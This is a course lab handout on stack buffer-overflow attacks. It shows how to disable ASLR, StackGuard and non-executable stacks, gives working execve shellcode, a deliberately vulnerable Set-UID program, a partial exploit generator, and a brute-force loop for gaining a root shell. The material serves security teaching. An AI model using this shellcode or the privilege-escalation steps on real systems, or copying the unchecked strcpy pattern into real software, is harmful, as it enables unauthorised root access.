**Buffer Overflow Vulnerability Lab**

**Due 10/28 3:29 p.m**

1. **Lab Overview**

The learning objective of this lab is for you is to gain the first-hand experience on buffer-overflow vulnerability by putting what you have learned about the vulnerability from class into action. Buffer overflow is defined as *the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers*. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address. In this lab, you will be given a program with a buffer-overflow vulnerability; you task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, you will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks. You will need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:

* Buffer overflow vulnerability and attack
* Stack layout in a function invocation
* Shellcode
* Address randomization
* Non-executable stack
* StackGuard

1. **Lab Tasks**
   1. **Turning Off Countermeasures**

You can execute the lab tasks using you Ubuntu virtual machines. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them one by one, and see whether our attack can still be successful.

**Address Space Randomization**. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable this feature using the following command:

$ sudo sysctl -w kernel.randomize\_va\_space=0

**The StackGuard Protection Scheme**. The GCC compiler implements a security mechanism called StackGuard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. We can disable this protection during the compilation using the -fno-stack-protector option. For example, to compile a program example.c with StackGuard disabled, we can do the following:

$ gcc -fno-stack-protector example.c

**Non-Executable Stack**. Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, stacks are set to be non-executable. To change that, use the following option when compiling programs:

For executable stack:

$ gcc -z execstack -o test test.c

For non-executable stack:

$ gcc -z noexecstack -o test test.c

**Configuring /bin/sh**. The /bin/sh symbolic link points to the /bin/dash shell. However, the dash program in Ubuntu VMs have an important difference. The dash shell in Ubuntu 16.04 has a countermeasure that prevents itself from being executed in a Set-UID process. Basically, if dash detects that it is executed in a Set-UID process, it immediately changes the effective user ID to the process’s real user ID, essentially dropping the privilege. Since our victim program is a Set-UID program, and our attack relies on running /bin/sh, the countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to another shell that does not have such a countermeasure. We have installed a shell program called zsh in our Ubuntu VM. We use the following commands to link /bin/sh to zsh:

$ sudo rm /bin/sh

$ sudo ln -s /bin/zsh /bin/sh

**2.2 Task 1: Running Shellcode**

Before starting the attack, let us get familiar with the shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

#include <stdio.h>

int main() {

char \*name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

}

The shellcode that we use is just the assembly version of the above program. The following program shows how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked.

/\* call\_shellcode.c \*/

/\* A program that launches a shell using shellcode \*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

const char code[] =

"\x31\xc0" /\* Line 1: xorl %eax,%eax \*/

"\x50" /\* Line 2: pushl %eax \*/

"\x68""//sh" /\* Line 3: pushl $0x68732f2f \*/

"\x68""/bin" /\* Line 4: pushl $0x6e69622f \*/

"\x89\xe3" /\* Line 5: movl %esp,%ebx \*/

"\x50" /\* Line 6: pushl %eax \*/

"\x53" /\* Line 7: pushl %ebx \*/

"\x89\xe1" /\* Line 8: movl %esp,%ecx \*/

"\x99" /\* Line 9: cdq \*/

"\xb0\x0b" /\* Line 10: movb $0x0b,%al \*/

"\xcd\x80" /\* Line 11: int $0x80 \*/

;

int main(int argc, char \*\*argv)

{

char buf[sizeof(code)];

strcpy(buf, code);

((void(\*)( ))buf)( );

}

Compile the code above using the following gcc command. Run the program and describe your observations. Please do not forget to use the execstack option, which allows code to be executed from the stack; without this option, the program will fail.

$ gcc -z execstack -o call\_shellcode call\_shellcode.c

The shellcode above invokes the execve() system call to execute /bin/sh. A few places in this

shellcode are worth mentioning. First, the third instruction pushes ”//sh”, rather than ”/sh” into the stack. This is because we need a 32-bit number here, and ”/sh” has only 24 bits. Fortunately, ”//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the execve()system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdq) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the eax register (which is 0 at this point) into every bit position in the edx register, basically setting %edx to 0. Third, the system call execve()is called when we set %al to 11, and execute “int $0x80”.

* 1. **The Vulnerable Program**

You will be provided with the following program, which has a buffer-overflow vulnerability in Line (1). Your job is to exploit this vulnerability and gain the root privilege.

/\* Vunlerable program: stack.c \*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int bof(char \*str)

{

char buffer[24];

/\* The following statement has a buffer overflow problem \*/

strcpy(buffer, str);

return 1;

}

int main(int argc, char \*\*argv)

{

char str[517];

FILE \*badfile;

badfile = fopen("badfile", "r");

fread(str, sizeof(char), 517, badfile);

bof(str);

printf("Returned Properly\n");

return 1;

}

}

(1)

Compile the above vulnerable program. Do not forget to include the -fno-stack-protector and

"-z execstack" options to turn off the StackGuard and the non-executable stack protections. After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to root (Line (1)), and then change the permission to 4755 to enable the Set-UID bit (Line (1)). It should be noted that changing ownership must be done before turning on the Set-UID bit, because ownership change will cause the Set-UID bit to be turned off.

$ gcc -o stack -z execstack -fno-stack-protector stack.c

$ sudo chown root stack (1)

$ sudo chmod 4755 stack (2)

The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only 24 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a Set-root-UID program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile. This file is under users’ control. Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

* 1. **Task 2: Exploiting the Vulnerability**

You are provided with a partially completed exploit code called "exploit.c". The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.

/\* exploit.c \*/

/\* A program that creates a file containing code for launching shell \*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcode[] =

"\x31\xc0" /\* Line 1: xorl %eax,%eax \*/

"\x50" /\* Line 2: pushl %eax \*/

"\x68""//sh" /\* Line 3: pushl $0x68732f2f \*/

"\x68""/bin" /\* Line 4: pushl $0x6e69622f \*/

"\x89\xe3" /\* Line 5: movl %esp,%ebx \*/

"\x50" /\* Line 6: pushl %eax \*/

"\x53" /\* Line 7: pushl %ebx \*/

"\x89\xe1" /\* Line 8: movl %esp,%ecx \*/

"\x99" /\* Line 9: cdq \*/

"\xb0\x0b" /\* Line 10: movb $0x0b,%al \*/

"\xcd\x80" /\* Line 11: int $0x80 \*/

;

void main(int argc, char \*\*argv)

{

char buffer[517];

FILE \*badfile;

/\* Initialize buffer with 0x90 (NOP instruction) \*/

memset(&buffer, 0x90, 517);

**/\* You need to fill the buffer with appropriate contents here \*/**

**/\* ... Put your code here ... \*/**

**/\* Save the contents to the file "badfile" \*/**

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}

After you finish the above program, compile and run it. This will generate the contents for badfile. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

**Important**: Please compile your vulnerable program first. Please note that the program exploit.c,

which generates the badfile, can be compiled with the default StackGuard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the StackGuard protection disabled.

$ gcc -o exploit exploit.c

$./exploit // create the badfile

$./stack // launch the attack by running the vulnerable program

# <---- Bingo! You’ve got a root shell!

It should be noted that although you have obtained the “#” prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

# id

uid=(500) euid=0(root)

Many commands will behave differently if they are executed as Set-UID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.

void main()

{

setuid(0); system("/bin/sh");

}

**2.5 Task 4: Defeating Address Randomization**

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 219 = 524; 288 possibilities. This number is not that high and can be exhausted easily with the brute-force approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on the Ubuntu’s address randomization using the following command. We run the same attack developed in Task 2. Please describe and explain your observation.

$ sudo /sbin/sysctl -w kernel.randomize\_va\_space=2

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the badfile can eventually be correct. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a while. Let it run overnight if needed. Please describe your observation.

#!/bin/bash

SECONDS=0

value=0

while [ 1 ]

do

value=$(( $value + 1 ))

duration=$SECONDS

min=$(($duration / 60))

sec=$(($duration % 60))

echo "$min minutes and $sec seconds elapsed."

echo "The program has been running $value times so far."

./stack

done

**2.6 Task 5: Turn on the StackGuard Protection**

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we disabled the StackGuard protection mechanism in GCC when compiling the programs. In this task, you may consider repeating Task 2 in the presence of StackGuard. To do that, you should compile the program without the -fno-stack-protector option. For this task, you will recompile the vulnerable program, stack.c, to use GCC StackGuard, execute task 1 again, and report your observations. You may report any error messages you observe. In GCC version 4.3.3 and above, StackGuard is enabled by default. Therefore, you have to disable StackGuard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable StackGuard.

**2.7 Task 6: Turn on the Non-executable Stack Protection**

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 2. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the nonexecutable stack protection.

$ gcc -o stack -fno-stack-protector -z noexecstack stack.c

It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The return-to-libc attack is an example. If you are interested, please see our Return-to-Libc Attack Lab for details.

**CS648:** Write a detailed report about return-to-libc attack and connect it to what we have learned about buffer overflow attack. You will get an extra 10 points if you implement the attack.

1. **Submission**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.